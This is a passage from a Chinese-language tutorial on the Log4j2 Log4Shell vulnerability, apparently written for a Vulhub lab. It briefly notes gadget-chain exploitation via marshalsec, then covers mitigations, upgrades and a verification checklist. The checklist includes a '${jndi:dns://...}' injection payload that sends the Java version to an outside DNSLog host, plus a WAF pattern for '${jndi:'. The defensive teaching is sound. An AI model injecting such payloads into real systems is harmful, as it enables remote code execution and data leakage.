groovy等那么通过LDAP返回一个恶意的序列化对象也可能触发RCE。marshalsec工具也支持这种方式-m参数指定gadget类型。这些高阶利用方式复杂度高成功率依赖于目标环境但它们是理解Java安全机制和漏洞利用演进的绝佳案例。对于我们复现学习来说使用较低版本的Java如8u121以前可以最直观地演示漏洞原理。6. 漏洞修复方案与排查指南6.1 修复方案详解作为防御方如果发现自己的应用存在此漏洞应立即采取行动。修复是分层的1. 紧急缓解措施治标设置系统属性在启动应用的JVM参数中增加-Dlog4j2.formatMsgNoLookupstrue。这个参数从Log4j2 2.10.0开始可用它会全局禁用消息中的Lookup解析。修改环境变量设置LOG4J_FORMAT_MSG_NO_LOOKUPStrue环境变量效果同上。移除漏洞类找到Log4j2核心jar包如log4j-core-*.jar删除JndiLookup类。可以使用命令zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class。这是一种“外科手术”式的方案但需确保所有部署节点都执行。注意缓解措施可能因版本和配置而异且不是根本解决方案应尽快升级。2. 根本解决方案治本升级Log4j2将Log4j2升级到安全版本。对于 2.12.x 分支升级到 2.12.4。对于 2.13.x 分支升级到 2.13.4。强烈建议升级到最新的 2.17.x 或更高版本如2.19.0这些版本不仅修复了CVE-2021-44228还修复了后续披露的CVE-2021-45046拒绝服务、CVE-2021-45105拒绝服务和CVE-2021-44832RCE等。升级JDK将JDK升级到较新版本如8u191, 11.0.1之后利用其默认的JNDI远程类加载限制。综合防御结合WAF规则拦截包含${jndi:等模式的请求、网络层限制禁止应用服务器非必要出站流量尤其是到LDAP/RMI的389、1389、1099等端口、安全编码避免将不可信输入直接记录到日志进行立体防御。6.2 安全排查与验证清单在修复后如何验证漏洞是否真正被修复以下是一个排查清单版本确认检查项目中所有log4j-core-*.jar文件的版本号。使用命令java -cp log4j-core-2.x.jar org.apache.logging.log4j.core.Version可以准确输出版本。检查Maven (pom.xml) 或 Gradle (build.gradle) 依赖树确保没有通过传递依赖引入不安全的旧版本。使用mvn dependency:tree | grep log4j或gradle dependencies | grep log4j。配置检查检查log4j2.xml或log4j2.properties配置文件确认没有启用危险的Lookup配置。检查应用启动参数和环境变量确认已设置-Dlog4j2.formatMsgNoLookupstrue或LOG4J_FORMAT_MSG_NO_LOOKUPStrue。漏洞验证内部验证在测试环境构造一个无害的DNSLog Payload如${jndi:dns://${sys:java.version}.your-dnslog-subdomain.dnslog.cn/a}将其注入到可能被日志记录的所有用户输入点请求头、参数、Body等。观察DNSLog平台是否有来自你测试服务器的解析记录。如果没有说明缓解措施可能生效。工具扫描使用专业的SCA软件成分分析工具或漏洞扫描器对应用进行扫描。代码审计审查代码中所有使用Log4j2 API如logger.info(),logger.error()的地方特别是记录用户输入、请求参数、异常信息的位置。环境加固限制应用服务器的出站网络连接只允许访问必要的内部服务如数据库、缓存、真正的LDAP服务器。更新WAF规则持续监控和拦截攻击尝试。通过Vulhub靶场的复现我们不仅掌握了攻击方法更从防御视角理解了漏洞的根源和修复的关键。这种攻防一体的学习才是安全技能提升的正道。每一次漏洞复现都是一次对系统脆弱性和安全设计的重新思考。
